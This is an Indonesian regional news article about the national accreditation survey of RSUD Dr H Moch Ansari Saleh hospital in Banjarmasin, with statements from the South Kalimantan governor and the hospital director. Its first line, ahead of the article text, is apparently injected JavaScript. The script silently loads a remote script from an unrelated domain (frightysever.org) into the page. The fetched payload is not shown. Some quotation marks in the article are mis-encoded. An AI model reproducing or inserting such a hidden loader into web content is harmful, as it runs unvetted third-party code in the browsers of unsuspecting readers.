(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Dalam 6 hari ke depan Komisi Akreditasi Rumah Sakit (KARS) melakukan penilaian terhadap Rumah Sakit Umum Daerah (RSUD) Dr H Moch Ansari Saleh.
Akreditasi dilakukan agar memiliki standar pelayanan seragam secara nasional. Akreditasi menggunakan Standar Nasional Akreditasi Rumah Sakit (SNARS) Edisi I.
Gubernur Kalsel H Sahbirin Noor mengatakan, rumah sakit merupakan bagian penting dari sistem kesehatan. Rumah sakit menjadi tempat pelayanan kuratif komplek, pelayanan gawat darurat, pusat alih pengetahuan dan teknologi, serta berfungsi sebagai pusat rujukan.
“Untuk itu, Pemerintah Provinsi Kalimantan Selatan terus mengoptimalkan peran Rumah Sakit Umum Daerah Ansari Saleh sebagai salah satu sub sistem pelayanan kesehatan di Kalimantan Selatan,†ucapnya saat membuka survey akreditasi SNARS I di RSUD Dr H Moch Ansari Saleh, Banjarmasin, Senin (26/11).
Menurutnya, terintegrasinya jaminan mutu dan kualitas layanan kesehatan ke dalam budaya kerja organisasi dan standar operasional rumah sakit, tentu memerlukan standar penilaian yang dilakukan melalui proses akreditasi.
Manfaat dilakukannya akreditasi bagi rumah sakit, diharapkan semakin meningkatkan kepercayaan masyarakat bahwa segala prosedur pelayanan kesehatan diselenggarakan dengan baik, sesuai standar mutu pelayanan, serta memprioritaskan keselamatan pasien.
Gubernur berharap, dengan akreditasi nantinya yang diuntungkan adalah masyarakat. Mengingat, akreditasi yang baik akan berdampak pada pelayanan yang juga lebih baik dan meningkat.
Sementara itu, Direktur RSUD Dr H Moch Ansari Saleh Dr dr Izzak Zulkarnain Akbar mengatakan, sekarang ini tahapan penilaian dan dalam waktu sebulan akan diumumkan hasilnya. “Surveyor sebanyak 6 orang yang dipimpin oleh dr Yanuar Hamid, kita berharap lulus paripurna,†ucapnya.
Untuk dapat lulus paripurna dirinya telah menyiapkan semua yang terkait dengan akreditasi seperti dokumen-dokumen pendukung, termasuk kelengkapan manajemen rumah sakit, sarana dan prasarana dan lingkungan yang sehat. “Kami terus berusaha meng-upgrade standar pelayanan agar memenuhi standar yang ditetapkan,†katanya.
Menurutnya, penilaian akreditasi selama 6 hari difokuskan pada sasaran keselamatan pasien, hak pasien dan keluarga, manajemen komunikasi dan edukasi, pencegahan dan pengendalian infeksi, manajemen informasi dan rekam medis.
Selain itu, dalam instrumen akreditasi SNARS Edisi 1 telah menyertakan dan menambahkan program nasional, yaitu pengendalian resistensi anti mikroba, pelayanan pediatrik dan integrasi pendidikan kesehatan dalam pelayanan rumah sakit. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Roda pemerintahan Provinsi Kalimantan Selatan (Kalsel) dipimpin Pelaksana Harian (Plh) Gubernur Kalsel,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kejaksaan Negeri (Kejari) Kota Banjarbaru memusnahkan barang bukti dan barang rampasan hasil… Read More
KANALKALIMANTAN.COM - Di era digital yang semakin berkembang pesat ini, kualitas foto yang jernih dan… Read More
KANALKALIMANTAN COM, BANJARBARU - Sahbirin Noor alias Paman Birin mengundurkan dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Narkotika jenis sabu dan ekstasi gagal beredar di Kota Banjarbaru, Kalimantan Selatan.… Read More
KANALKALIMANTAN.COM,BANJARBARU - Ide menginspirasi peran aktif generasi muda dalam menjaga lingkungan, Basakalimantan Wiki mengadakan kegiatan… Read More
This website uses cookies.